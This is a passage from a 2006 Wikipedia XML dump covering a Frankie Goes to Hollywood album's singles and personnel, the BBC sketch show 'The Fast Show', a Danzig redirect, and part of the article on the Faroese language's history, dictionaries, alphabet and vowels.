&lt;tr&gt;&lt;td&gt;'''Label'''&lt;/td&gt;&lt;td align=middle&gt;[[ZTT Records]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Released'''&lt;/td&gt;&lt;td align=middle&gt;[[September 6]], [[1986]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Top [[United Kingdom|UK]] chart position'''&lt;/td&gt;&lt;td align=middle&gt;4&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Weeks on [[United Kingdom|UK]] chart'''&lt;/td&gt;&lt;td align=middle&gt;7&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;tr&gt;&lt;td&gt;'''Top [[Switzerland|Swiss]] chart position'''&lt;/td&gt;&lt;td align=middle&gt;5&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Weeks on [[Switzerland|Swiss]] chart'''&lt;/td&gt;&lt;td align=middle&gt;12&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

===&quot;Watching the Wildlife&quot;===
&lt;table border=1&gt;
&lt;tr&gt;&lt;td&gt;'''Catalogue number'''&lt;/td&gt;&lt;td align=middle&gt;ZTAS26&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Label'''&lt;/td&gt;&lt;td align=middle&gt;[[ZTT Records]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Released'''&lt;/td&gt;&lt;td align=middle&gt;[[March 7]], [[1987]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Top [[United Kingdom|UK]] chart position'''&lt;/td&gt;&lt;td align=middle&gt;28&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Weeks on [[United Kingdom|UK]] chart'''&lt;/td&gt;&lt;td align=middle&gt;6&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

12&quot; Mixes
*Hotter
*Movement 2
*Die Letzten Tage Der Menschheit

==Personnel==
*Holly Johnson	 - 	Vocals
*Betsy Cook	 - 	Vocals (bckgr)
*Barry Diament	 - 	Mastering
*Peter Gill	 - 	Drums
*Trevor Horn	 - 	Executive Producer
*Steve Lipson	 - 	Guitar, Keyboards, Producer
*Heff Moraes	 - 	Assistant Engineer
*Brian Nash	 - 	Guitar
*Richard Niles	 - 	String Arrangements, Brass Arrangement
*Mark O'Toole	 - 	Bass
*Andy Richards	 - 	Keyboards
*Peter Vetesse	 - 	Keyboards
*Anton Corbijn	 - 	Photography

==External links==
*[http://www.lyred.com/lyrics/Frankie+Goes+To+Hollywood/Liverpool/ lyrics]

[[Category:1986 albums]]
[[Category:Frankie Goes To Hollywood albums]]</text>
    </revision>
  </page>
  <page>
    <title>The Fast Show</title>
    <id>11271</id>
    <revision>
      <id>42108440</id>
      <timestamp>2006-03-03T21:56:12Z</timestamp>
      <contributor>
        <ip>158.143.169.40</ip>
      </contributor>
      <comment>/* Paul Whitehouse */</comment>
      <text xml:space="preserve">'''''The Fast Show''''' was a [[BBC]] comedy [[sketch comedy|sketch show]] programme which ran from 1994 to 2000. It also produced two national tours, the first in 1998 with the cast of the [[BBC]] spoof quiz show ''[[Shooting Stars]]'', and the second being their 'Farewell Tour' in 2002. It was very loosely structured and relied heavily on character comedy, long-[[running gag]]s, and endless [[catchphrase]]s.

Many catchphrases from the programme have entered the vernacular in Britain, and many of the comedians have now become household names there: [[Paul Whitehouse]], [[Charlie Higson]], [[Simon Day]], [[Mark Williams (actor)|Mark Williams]], [[John Thomson (actor)|John Thomson]], [[Arabella Weir]] and [[Caroline Aherne]]. 

The show has been released on [[video]], [[DVD]] and [[audio CD]].

==Characters==
The show featured many memorable characters, they are listed here by performer.

===Charlie Higson===
* (with Arabella Weir:) Friendly but naked newlyweds.
* '''Colin Hunt''', unfunny office practical joker.
:''Colin Hunt's office trolley, geddit?'' *whack*
:'''Note''': The writers claim Colin is based on those fans of comedy sketch shows who constantly repeat the catchphrases the next day. The name ''C. Hunt'' is also one phoneme away from a common insult applied to such people.
* '''Johnny Nice Painter''', who goes insane at the mention of the colour black.
* '''Geoffrey Norman MP''', the Tory politician who denies everything.
* '''[[Swiss Toni]]''', a car salesman who compares everything to making love to a beautiful woman.
:''Fitting a carpet is much like making love to a beautiful woman. You lay her out, pin her down and walk all over her.''
:'''Note''': Went on to star in a show of his own.

===Paul Whitehouse===
* '''[[Rowley Birkin QC]]''', drunk old [[upper class]] man (presumably a retired barrister from the QC appellation in his name) tells mostly unintelligible stories at the fireside. Occasionally, his speech becomes intelligible for a short while, containing strange phrases such as &quot;the whole thing was made completely out of rubber&quot; or &quot;Snakes! Snakes!&quot;.
:''... I'm afraid I was very, very drunk.''
* '''[[Brilliant Kid]]''', a parody of British Children's TV presenters who walks through a series of peculiar backgrounds describing various innocuous, everyday things as 'brilliant!'
* '''The Hearty Hiker'''. This is a character who thoroughly enjoys rambling. He once met a disturbed garage attendant and was chased down the road by said attendant, who was shouting: &quot;STUCK DOWN A HOLE! IN THE MIDDLE OF THE NIGHT! WITH AN OWL!&quot; 
* '''[[The 13th Duke of Wybourne]]''', posh, rumpled dinner jacketed, cigar smoker, finds himself in unsuitable places
:''Me, the 13th Duke of Wybourne, here? In a student nurses' halls of residence? With my reputation? What do they take me for?''
* '''Archie''' the pub bore. Talks to people in the pub, and when they mention their profession, no matter what it is, he always claims to have had the same profession.
:Oldest game in the world... thirty years man and boy...
* '''[[Ron Manager]]''', nonsense talking football pundit. Doesn't actually know very much about football.
:''It's a far cry from small boys in the park, jumpers for goalposts. Isn't it? Mmmmm. Marvellous.''
* '''Unlucky Alf''', the lonely old pensioner for whom nothing ever goes right. Often heard to utter the phrase &quot;Awww bugger!&quot;
* The &quot;monster&quot; who terrorizes a young woman in her bed in the middle of the night with betting tips. His physical appearance is based on [[Nosferatu]], his voice and catchphrase is taken from football agent [[Eric Hall]].
:''Monster, monster!''
* '''Chris the Crafty Cockney''', claims to be an incurable kleptomaniac (&quot;I'll nick anything me&quot;). He is left alone with something valuable, and invariably steals it - including a child's [[Pokemon]] cards, the takings from a friend's market stall, and even a police car. Often says that he's &quot;a little bit woah, a little bit wayyy, a little bit whooosh!&quot;

===Charlie Higson &amp; Paul Whitehouse===
* '''Bob Fleming''' (Higson), the host of ''Country Matters'', who has an extremely bad cough, along with his friends; sneezing Jed Thomas; hiccupping Murtagh Blethyn; and, of course, Clive Tucker (Whitehouse), the man who can't stop saying &quot;ARSE!&quot;.
* '''Ted &amp; Ralph''' - country squire Lord Ralph Mayhew (Higson) attempts to strike up an intimate relationship with his estate worker Ted (Whitehouse).
:'''Note''': These two characters starred in their own made-for-TV movie ''[[Ted and Ralph]]'' in 1998, which starred Whitehouse, Higson and other Fast Show regulars. Whitehouse also put in a cameo appearance as Rowley Birkin QC.
* '''The Offroaders''', Simon Bush (Higson) and Lyndsay Mottram (Whitehouse), filmed by their friend Baz while they try impressive extreme sports, but fail to hide the fact that they are disastrously hopeless at such pursuits.
:''Gripped'', ''Sorted'', ''Let's off-road'', and after one less than successful venture into [[bushcraft]], ''I am the mushroom god!''

===Mark Williams===
* '''Jesse''' and his strange diets, fashion tastes and experiments.
:''This week, I have been mostly eating ... TARAMASALATA!''
:''This week, I aren't been 'ungry.''
:''This season, I shall be mostly wearing ... A THONG!''
* ''' 'You Ain't Seen Me, Right?' ''' is scruffily dressed, and always appears in passing, pausing only to dispense his eponymous warning.
* ''' 'I'll Get Me Coat' ''' always says, wears or otherwise does something inappropriate for the social situation in which he finds himself. Shocked, other characters stare at him before he delivers his line and ends the sketch.
* '''Patrick Nice''', a man who may or may not stumble into amazing circumstances on a regular basis, but remains very calm. Wins lottery twice in a row, and sees R.E.M. perform an impromptu concert at the ceremony where his son is awarded the Nobel Prize for chemistry.
:''...and I was rummaging around in the attic and I found the original copy of the Bible. Which was nice.''
:''...and unfortunately I left my fingerprints all over the handle, so it looks like I'll be going down for the next 15 years. Which is a shame.''

===Simon Day===
* '''Competitive Dad''', who criticises his children for not being as good at something as he is.
* '''Dave Angel, Eco-Warrior''', who's into saving the planet (with a somewhat dubious methodology), [[Mike Oldfield]] records, and [[swinging]]. A parody of a late-night magazine program presented by [[Mike Reid (entertainer)|Mike Reid]].
* '''Carl Hooper,''' Australian presenter of '''''That's Amazing''''', a spoof on pop-science shows.
* '''Billy Bleach''', pub know-it-all who gets it all wrong. (This character starred in his own series, 'Grass' which was shown on [[BBC Three]].)
* '''John Actor''', who plays Inspector Monkfish, the tough uncompromising cop (&quot;You - fetch a body bag, you - find the murder weapon, and you - get your knickers on and get me a cup of tea!&quot;)

===Arabella Weir===
* '''No Offence''', a rude South African department store cosmetics sales woman.
* '''Insecure Woman''', who appears in a variety of different locations, sometimes bizarre (including as a [[traffic warden]], [[High Court of Justice|High Court]] [[judge]] and the fairy on top of a [[Christmas tree]].) She constantly irritates people with demands for reassurance about her looks: &quot;Should I have put my hair up?&quot; &quot;Do you think I should have chosen different earrings?&quot; &quot;Does my bum look big in this?&quot; At one point she frightens away a mugger with repeated questions about his opinion of the shoes she's wearing.
* '''Trudi,''' advertised during a break in Chanel 9 Neus, releasing her album, ''Greatest Hits Von Trudi'', which included the hits &quot;Sminky Pinky Pee-Pee Snah,&quot; &quot;Meth-Eth-Eth-Eth-Eth-Eth&quot; and &quot;Chris Waddle.&quot;
* '''Flirty Woman''', who acts in harsh and professional, &quot;no-nonsense&quot; way in front of female friends and colleagues but transforms into a giggling, ditzy, stereotypical &quot;bimbo&quot; whenever she is introduced to a man.

===John Thomson===
* '''Brilliant Kid's Father''', who walks around moaning about everyday things that are 'rubbish', which seems to include everything and everybody except [[Des Lynam]] and [[Elvis]].
* '''Chip Cobb, the Deaf Stuntman''', who mishears normal things as instructions to perform some dangerous stunt (&quot;We just need to reset the wire ...&quot; &quot;Set meself on fire? OK!&quot;)
* '''Louis Balfour''', presenter of '''''Jazz Club''''' (a very obvious parody of [[Old Grey Whistle Test|The Old Grey Whistle Test]]).
:''mmmmm, Nice!''
* '''Professor Denzil Dexter''' of the [[University of Southern California]] and his various bizarre scientific experiments.

===Caroline Aherne===
* '''Checkout Girl''', who comments on every purchase. ''&quot;Microwave meal for one? Living on your own, are you? Awwwwwwwwwwwww.&quot;'' 
* '''&quot;Our&quot; Janine Carr''', teenage mum with a unique world outlook. She refuses to reveal who the father of her baby is because &quot;it's not fair to grass on your headmaster&quot; and, even though she claims to be a vegetarian, she thinks it's perfectly acceptable to eat sausage rolls given that &quot;there's no such animal as a sausage&quot;
* '''Poula Fisch''', weather presenter on &quot;Chanel 9&quot; (see '''Mixed performances''' below).

===Jeff Harding===
* '''Ed Winchester''', an [[United States of America|American]] TV presenter, presumably of travelogues, who only gets to introduce himself.
:''Hi, I'm Ed Winchester.'', except for the one episode in which he said &quot;Hi! I'm Ed Winchester. And I'd like to take a moment of your time to talk to you about the love of our Lord Jesus Christ...&quot;
:In one episode, someone ''else'' ([[Felix Dexter]]) actually introduced himself as Ed Winchester. He then followed with &quot;No I'm not. I don't know why I just said that.&quot;
:Another episode saw several other (presumably) American presenters follow Ed with similar introductions (&quot;I'm Ramone Valentino...&quot; ) before Ed squeezes in with &quot;...and I'm Ed Winchester&quot;

===Mixed performances===
* '''''Chanel 9''''', a [[Mediterranean]]  television channel with low production values based on a combination of [[language]]s (but mostly [[Italian language|Italian]]).
:''Bono Estente, Hethethethethethe hethethethethethetheth, Sminki-pinki, [[Chris Waddle]]. [[Boutros Boutros-Ghali|Boutros Boutros Gali]].'' ''Bono Estente'' is the standard greeting; ''Boutros Boutros Ghali'' is used as the goodbye.
:Also on ''Chanel 9'':
:* Meterologicos (the weather forecast) presented by Poula Fisch (perhaps a reference to former weather presenter [[Michael Fish]]), played by Aherne; the weather is (almost) always the same everywhere: hot (&quot;Scorchio!&quot;). One occasion when the weather was &quot;Cumulio&quot; resulted in mourning from the whole channel; on another occasion a forecast of &quot;[[cumulonimbus|nimbocumulus]]!&quot; sparked urgent, excited investigative reportage.
:* Advertisements for the 'Gizmo', an orange pump-action device (which is actually a plastic [[trap|plumbing trap]] attached to the end of a squeeze mop). A number of these are advertised by bikini-clad women for a multitude of different purposes, in spite of the fact that the device is always exactly the same. Its features are described in terms of evocative phrases like &quot;Novello proboscis - molto molto kinagrophos&quot;. The device is usually described as being &quot;Un action pumpo&quot;.
:* Advertisements for cheesy peas.
:   ''You like Cheese!? You like Peas!? Then you'll love Cheesy-Peas!!''
:* ''Disco Baby, Sexy Baby'' song performed by Higson dressed as a hairy overweight '70s disco star.
:* ''El Amor I La Passione'', a soap opera about a stereotypical &quot;macho&quot; Mediterranean man and his long-suffering wife.
* '''[[Arthur Atkinson]]''', parody of 1940s music hall entertainers such as [[Max Miller]] and [[Arthur Askey]], played by Paul Whitehouse, introduced by '''Tommy Cockles''' (Simon Day), himself a parody of presenters of TV history, especially Dennis Norden.
:''How queer! Where's me washboard?''
* '''Roy &amp; Renée (Thompson &amp; Aherne)''', endless chattering from Renée and her verbally challenged husband Roy.
:''What did I say Roy?''
* '''Ken and Kenneth''', the &quot;'''Suit you!'''&quot; tailors who bombard potential customers with innuendo-laden suggestions about their private life, (Whitehouse and Williams).
* '''The Patagonians''', a group of South American musicians who seem to never be able to get further than a few seconds into a song before it degenerates into a tuneless shambles. They play in bizarre locations, and notable instruments they use are pan pipes, an acoustic guitar and maracas.
* '''The Fat Sweaty Coppers''', two heavily overweight and generally useless coppers who think about food before crime, they usually get in a variety of strange situations, and usually both get stuck in between doors.

==Trivia==
* A great favourite of [[Johnny Depp]] who appeared in a sketch with the &quot;Suit You&quot; tailors (&quot;An American Gentleman&quot;) in The Last Fast Show Ever, screened in three parts over Christmas 2000 to end the show.  Also, in a deleted scene on the &quot;Pirates of the Caribbean&quot; DVD, Depp uses the &quot;I'll get me coat&quot; catchphrase.
* Aherne starred in all three series, but did not appear in the final show ''The Last Fast Show Ever'', presumably because of her commitment to the BBC [[sitcom]] ''[[The Royle Family]]''.
* When the programme was shown on [[BBC America]] it was renamed 'Brilliant' to avoid confusion with an American programme of the same name.

==Filming Locations==
For a sketch show a significant proportion of The Fast Show was external shots. During the early series much of this filming was done around the [[Tees Valley]] &amp; [[Yorkshire Dales]] area in the North-East of England. Some recognisable locations include:
* [[Darlington]] - 'The Running Family' were shown around various locations in town centre, including The Cornmill Centre. Incidentally Darlington was the childhood home of Jim Moir ([[Vic Reeves]]) whose longterm comedy partner [[Bob Mortimer]] was one of the writers on The Fast Show.
* [[Richmond, North Yorkshire|Richmond]] - The market place in Ted &amp; Ralph's trip to the shops.
* [http://www.aske.co.uk/ Aske Hall] - Background in early Ted &amp; Ralph scenes
* [[ Scotch Corner]] - Garage used in Swiss Toni's early scenes
* [[Middlesbrough]] - dock area used in 'hard of hearing stuntman' scenes, scene on [[Middlesbrough Transporter Bridge| Transporter Bridge]].
* Newcastle-upon-Tyne - Many scenes were shot here. Including the 'Shore Leave' sketch, the scene where Chris the Crafty Cockney steals the woman's suitcases (shot in Newcastle Central train station), and some of the Sir Geoffrey Norman MP sketches, such as the one where he is pulled over by a policeman for speeding, and the one where he refuses to pay the taxi driver after getting out of the car (shot outside the main entrance to Newcastle Central station).

{{wikiquotepar|The Fast Show}}

==External links==
*[http://www.bbc.co.uk/comedy/fastshow/ www.bbc.co.uk/comedy/fastshow]

[[Category:British television sketch shows|Fast Show, The]]
[[Category:BBC television programmes|Fast Show, The]]

[[fi:Ruuvit löysällä]]</text>
    </revision>
  </page>
  <page>
    <title>Free State Danzig</title>
    <id>11272</id>
    <revision>
      <id>15909030</id>
      <timestamp>2004-08-04T16:04:06Z</timestamp>
      <contributor>
        <username>Henrygb</username>
        <id>30415</id>
      </contributor>
      <comment>#REDIRECT [[Free City of Danzig]]</comment>
      <text xml:space="preserve">#REDIRECT [[Free City of Danzig]]</text>
    </revision>
  </page>
  <page>
    <title>Faroese language</title>
    <id>11273</id>
    <revision>
      <id>41890643</id>
      <timestamp>2006-03-02T11:45:22Z</timestamp>
      <contributor>
        <ip>134.100.126.78</ip>
      </contributor>
      <comment>/* Dictionaries */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Faroese
|nativename=føroyskt
|familycolor=Indo-European
|region=[[Faroe Islands]], [[Denmark]]
|speakers=60,000 - 80,000
|fam2=[[Germanic languages|Germanic]]
|fam3=[[North Germanic language|North Germanic]]
|fam4=West Scandinavian
|nation=[[Faroe Islands]]
|agency=Føroyska málnevndin
|iso1=fo|iso2=fao|iso3=fao
|map=[[Image:Keyboard Layout Faroese.png|center|thumb|290px|Faroese [[keyboard layout]]]]}}

'''Faroese''' (''føroyskt'' [{{IPA|ˈføːɹɪst}}]) is a West Nordic or West Scandinavian [[language]] spoken by about 80,000 people in two main groups, about 48,000 in the [[Faroe Islands]] and about 25,000 [[Faroese people|Faroese]] in [[Denmark]]. There are also around 5,000 speakers in [[Iceland]]. It is one of three [[island|insular]] [[Scandinavian languages]] descended from the [[Old Norse language]] spoken in [[Scandinavia]] in the [[Viking Age]], the others being [[Icelandic language|Icelandic]] and the extinct [[Norn language|Norn]], which is thought to have been mutually intelligible with Faroese.

==History==
[[Image:Old norse, ca 900.PNG|right|250px|thumb|This is the approximate extent of [[Old Norse]] and related languages distribution in the early [[10th century]];&lt;br&gt;Red - '''Old West Norse''' dialect;&lt;br&gt;Orange - '''Old East Norse''' dialect,&lt;br&gt;Pink - '''[[Old Gutnish]]''',&lt;br&gt;Green - Other [[Germanic languages]] with which Old Norse still retained some mutual intelligibility]]

In the beginning, the language spoken in the Faroe Islands was [[Old West Norse]], which Norwegian settlers had brought with them during the time of the ''[[landnám]]'' that began in AD [[825]]. However, many of the settlers weren't really Norwegians, but descendants of Norwegian settlers in the [[Irish Sea]]. In addition, native Norwegian settlers often married women from Norse Ireland, the Orkneys, or Shetlands before settling in the Faroe Islands and Iceland.  As a result, [[Celtic languages]] influenced both Faroese and [[Icelandic language|Icelandic]].  This may be why, for example, Faroese has two words for duck: ''dunna'' (from [[Goidelic languages|Gaelic]] ''tunnag'') for a domestic duck, and ''ont'' (from [[Old Norse]] ''ǫnd'') for a duck in general. (This example has been criticized, however, by people claiming that the word is derived from Old Norse ''dunna'', from [[Proto-Germanic]] ''*dusnō''.) There is also some debatable evidence of Celtic language placenames in the Faroes: for example [[Mykines]] and [[Stóra Dímun|Stóra]] &amp; [[Lítla Dímun]] have been hypothesised to contain Celtic roots.

Between the [[9th century|9th]] and the [[15th century|15th]] centuries, a distinct Faroese language evolved, although it was still intelligible with the languages within the realm of the Norwegian Viking Empire spanning from Norway Greenland and parts of North America.

Until the [[15th century]], Faroese had a similar orthography to [[Icelandic language|Icelandic]] and [[Norwegian language|Norwegian]], but after the [[Reformation]] [[1538]], the ruling [[Danes]] outlawed its use in schools, churches and official documents.  The islanders continued to use the language in [[ballads]], [[folklore|folktales]], and everyday life. This maintained a rich [[Oral history|spoken tradition]], but for 300 years the language was not written down.

This changed when [[Venceslaus Ulricus Hammershaimb]] published a written standard for Modern Faroese [[1854]] that exists to this day. Although this would have been an opportunity to create a phonetically true orthography like that of [[Welsh]], he produced an [[orthography]] consistent with a continuous [[written tradition]] extending back to Old Norse.  The letter [[ð]], for example, has no specific [[phoneme]]s attached to it.  Also, although the letter '[[m]]' corresponds to the [[bilabial nasal]] as it does in [[English language|English]], it corresponds to the [[alveolar nasal]] in the [[Dative]] ending ''-um'' {{IPA|[ʊn]}}.

Hammershaimb's orthography met with some opposition for its complexity, and a rival system was devised by [[Jakob Jakobsen]]. Jakobsen's orthography (referred to as ''[[broyting]]'') was closer to the spoken language, but was never taken up by speakers. 

In [[1937]], Faroese replaced [[Danish language|Danish]] as the official school language, [[1938]] as church language, and [[1948]] as national language by the [[Home Rule Act of the Faroes]]. However, Faroese didn't become the common language in the media and advertising until the [[1980s]]. Today, Danish is considered as a foreign language, though around 5% of the Faroe Islanders learn it as a first language and it is a required subject for students 3rd grade and up.

===Dictionaries===
[[Image:Hammershaimb ordsammling.jpg|thumb|250px|Though there are newer and more comprehensive dictionaries, ''Færøsk Anthologi'' by V.U. Hammershaimb and J. Jakobsen 1891 is still useful as it has phonetic transcriptions to every headword.]]
The pioneer of all scholars who studied the Faroese language was [[Jens Christian Svabo]] (1746-1824). His ''Dictionarium færoense'' (Faroese-Danish-Latin) was never printed in his lifetime but first issued in [[1966]]/[[1970]]. So this was not the first ''printed'' Faroese dictionary.

Hammershaimb and Jakobsen presented the ''Færøsk anthologi'' in [[1891]] with volume 2 containing a glossary with 10,000 entries Faroese-Danish in Modern Faroese orthography. [[Mads Andrias Jacobsen]] and Professor [[Christian Matras]] followed with the ''Føroysk-donsk orðabók'' in [[1928]] and the enhanced edition in [[1961]], which is still useful. In [[1967]], [[Jóhannes av Skarði]] published the ''Donsk-føroysk orðabók'' (Danish-Faroese), which remains also the base for all newer editions up to now. Skarði also wrote the English-Faroese dictionary (''Ensk-føroysk orðabók''), which came out in [[1985]] for the first time. In the same year, [[G.V.C. Young]] presented the Faroese-English dictionary (''Føroysk-ensk orðabók''). In [[1987]], the Faroese-Norwegian dictionary (''Færøysk-norsk ordbok'') was issued.

In 1993 a new Danish-Faroese dictionary was published, Donsk-føroysk orðabók, edited by Hjalmar P. Petersen. It is not a puristic dictionary as the former published, but reflects spoken Faroese of today. 

The ''Føroysk orðabók'' was not published until [[1998]] by Professor [[Jóhan Hendrik Winther Poulsen]] (et al.) as the first monolingual dictionary with 65,700 entries of old and new words, synonyms and illustrations.

In [[2004]], the first Faroese-Italian dictionary came out and won the National Literature Prize of the Faroes. In December [[2005]], the Icelandic-Faroese dictionary (''Íslensk-færeysk orðabók'') followed, and a Faroese-German dictionary is expected in [[2006]].

==Mutual intelligibility==
The former colonial language Danish has still more importance than in Iceland. The advantage of the remaining dual education in schools is responsible for the Faroese to understand ''all'' Scandinavian languages better, than any other of the neighboring people. 

A variation of spoken Danish from the past still exists, called ''[[gøtudanskt]]''. Even though, this &quot;charming accent&quot; (as a Danish author mentioned), is more and more replaced by the school Danish (realm Danish ''rigsdansk'') and Danish today considered a pure foreign language, it still colours the Faroese's pronunciation of Danish, and makes it easier for non-Danes to understand. It has further been proven that Faroese school children write better Danish than their Danish mates in the &quot;flatland&quot; (as the Faroese refer to the Danish).

''Spoken Faroese'' is perhaps best understood by the speakers of ''[[nynorsk]]'' dialects in [[Western Norway]] (where most of the viking settlers seem to have come from). Icelandic native speakers would not understand spoken Faroese without some training, and Danish speakers have almost no chance of understanding it without extensive studies.

''Written Faroese'' is not much of a problem for those who can read Old Norse, Icelandic and perhaps Nynorsk, and just want to understand the sense of a text. However, to ''translate'' it, a dictionary is necessary. Too many words are different and no related words with the certain meaning to be found in the respective languages. This is also due to the fact that [[Faroese language policy]] today does not directly borrow from Icelandic, even though some [[neologism]]s are the same &quot;by accident&quot;, i.e. from the same Old Norse heritage.

==Learning Faroese==
It is unusual for Faroese to be taught at universities outside the Faroes (within Scandinavian studies). So most students are forced to learn it autodidactically by books, listening to Faroese on the radio (there is an internet live stream) and trying to correspond with Faroese people. A good opportunity for learning Faroese is also visiting the websites of [[Postverk Føroya]] and reading their stories to the stamp editions both in Faroese and English (or German, French, Danish).

However, the [[University of the Faroe Islands]] offers an annual ''Summer institute'' over 3 weeks including:

*50 lessons of Faroese grammar and language exercises.
*20 lectures on linguistic subjects, culture, society and nature. The lectures on culture include oral poetry and modern literature.
*2 excursions to places of historical and geographical interest.

Languages of instruction are Faroese and English. It is said to be very intensive and comprehensive.

== Alphabet ==
[[Image:Faroe islands isoglosses.png|thumb|right|Some Faroese [[isogloss]]es]]
The '''[[Faroese language|Faroese]] [[alphabet]]''' consists of 29 letters:

: [[A]], [[Á]], [[B]], [[D]], [[Ð]], [[E]], [[F]], [[G]], [[H]], [[I]], [[Í]], [[J]], [[K]], [[L]], [[M]], [[N]], [[O]], [[Ó]], [[P]], [[R]], [[S]], [[T]], [[U]], [[Ú]], [[V]], [[Y]], [[Ý]], [[Æ]], [[Ø]]

Notes:
*Ð, ð can never come at the beginning of a word, but can occur in capital letters in logos or on maps, such as SUÐUROY (Southern Isle). 
*Ø, ø can also be written [[ö]] in poetic language, such as ''Föroyar'' (the Faroes).
*Common family names on the Faroes are e.g. L'''ü'''t'''z'''en, M'''ü'''ller, '''W'''inther, or the Christian name '''Z'''a'''c'''harias. Even [[x]] was known in Hammershaimbs orthography, such as Sa'''x'''un for [[Saksun]].
*While the Faroese keyboard layout allows one to write in Latin, English, Danish, Swedish, Norwegian, Finnish, etc., the Old Norse and Modern Icelandic letter [[þ]] is missing. In related Faroese words it is written as &lt;t&gt; or as &lt;h&gt;, and if an Icelandic name has to be transcribed, &lt;nowiki&gt;&lt;th&gt;&lt;/nowiki&gt; is common.

== Phonetics ==
=== Vowels ===
{| align=left id=toc style=&quot;margin-left: 15px;&quot; width=350 cellpadding=2 style=&quot;margin-right:10px;&quot;
|- style=&quot;background:#ccccff&quot;
|bgcolor=&quot;#eeeeee&quot;|[[Grapheme]]
|bgcolor=&quot;#eeeeee&quot;|Name
|bgcolor=&quot;#eeeeee&quot;|Short
|bgcolor=&quot;#eeeeee&quot;|Long
|-
|[[A]], a 
|''fyrra a'' {{IPA|[ˈfɪɹːa ɛaː]}} (&quot;leading a&quot;)
|{{IPA|/a/}}
|{{IPA|/ɛa/}}
|-
|[[Á]], á 
|''á'' {{IPA|[ɔaː]}}
|{{IPA|/ɔ/}}
|{{IPA|/ɔaː/}}
|-
|[[E]], e
|''e'' {{IPA|[eː]}}
|{{IPA|/ɛ/}}
|{{IPA|/eː/}}
|-
|[[I]], i
|''fyrra i'' {{IPA|[ˈfɪɹːa iː]}} (&quot;leading i&quot;)
|{{IPA|/ɪ/}}
|{{IPA|/iː/}}
|-
|[[Í]], í
|''fyrra í'' {{IPA|[ˈfɪɹːa ʊiː]}} (&quot;leading í&quot;)
|{{IPA|/ʊi/}}
|{{IPA|/ʊiː/}}
|-
|[[O]], o
|''o'' {{IPA|[oː]}}
|{{IPA|/ɔ/}}
|{{IPA|/oː/}}
|-
|[[Ó]], ó
|''ó'' {{IPA|[ɔuː]}}
|{{IPA|/œ/}}
|{{IPA|/ɔuː/}}
|-
|[[U]], u
|''u'' {{IPA|[uː]}}
|{{IPA|/ʊ/}}
|{{IPA|/uː/}}
|-
|[[Ú]], ú
|''ú'' {{IPA|[ʉuː]}}
|{{IPA|/ʏ/}}
|{{IPA|/ʉuː/}}
|-
|[[Y]], y
|''seinna i'' {{IPA|[ˈsaiːdna iː]}}] (&quot;rear i&quot;)
|{{IPA|/ɪ/}}
|{{IPA|/iː/}}
|-
|[[Ý]], ý
|''seinna í''  {{IPA|[ˈsaiːdna ʊiː]}} (&quot;rear í&quot;)
|{{IPA|/ʊi/}}
|{{IPA|/ʊiː/}}
|-
|[[Æ]], æ
|''seinna a'' {{IPA|[ˈsaiːdna ɛaː]}} (&quot;rear a&quot;)
|{{IPA|/a/}}
|{{IPA|/ɛaː/}}
|-
|[[Ø]], ø
|''ø'' {{IPA|[øː]}}
|{{IPA|/œ/}}
|{{IPA|/øː/}}
|-
| colspan=4 bgcolor=&quot;#eeeeee&quot; | Other vowels
|-
|ei
| -
|{{IPA|/ai/}}
|{{IPA|/aiː/}}
|-
|ey
| -
|{{IPA|/ɛ/}}
|{{IPA|/ɛiː/}}
|-
|oy
| -
|{{IPA|/ɔi/}}
|{{IPA|/ɔiː/}}
|}
As in other languages, including English, stressed vowels in Faroese are long when not followed by two or three consonants. Two consonants or a consonant cluster usually indicates a short vowel. Exceptions may be short vowels in particles, pronouns, adverbs, and prepositions in unstressed positions, consisting of just one syllable.

&lt;br clear=all&gt;
==== Short vowels in endings ====
{| align=left id=toc style=&quot;margin-left: 15px;&quot; width=420 cellpadding=2 style=&quot;margin-right:10px;&quot;
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;5&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Unstressed /i/ and /u/ in dialects
|- 
|
|bgcolor=&quot;#eeeeee&quot; colspan=| [[Borðoy]], [[Kunoy]], [[Tórshavn]]
|bgcolor=&quot;#eeeeee&quot; colspan=| [[Viðoy]], [[Svínoy]], [[Fugloy]]
|bgcolor=&quot;#eeeeee&quot; colspan=| [[Suðuroy]]
|bgcolor=&quot;#eeeeee&quot; colspan=| Elsewhere (''standard'')
|- 
|bgcolor=&quot;#ffffff&quot;| ''gulur'' (yellow)
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ə'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ə'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ø'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːlʊɹ}}]
|- 
|bgcolor=&quot;#ffffff&quot;| ''gulir'' (yellow ''pl.'')
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ə'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ə'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːl'''ø'''ɹ}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈg̊uːlɪɹ}}]
|- 
|bgcolor=&quot;#ffffff&quot;| ''bygdin'' (the town)
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥ɪn}}]
|bgcolor=&quot;#ffffff&quot;| [{{IPA|ˈb̥ɪg̊d̥'''ə'''n}}]
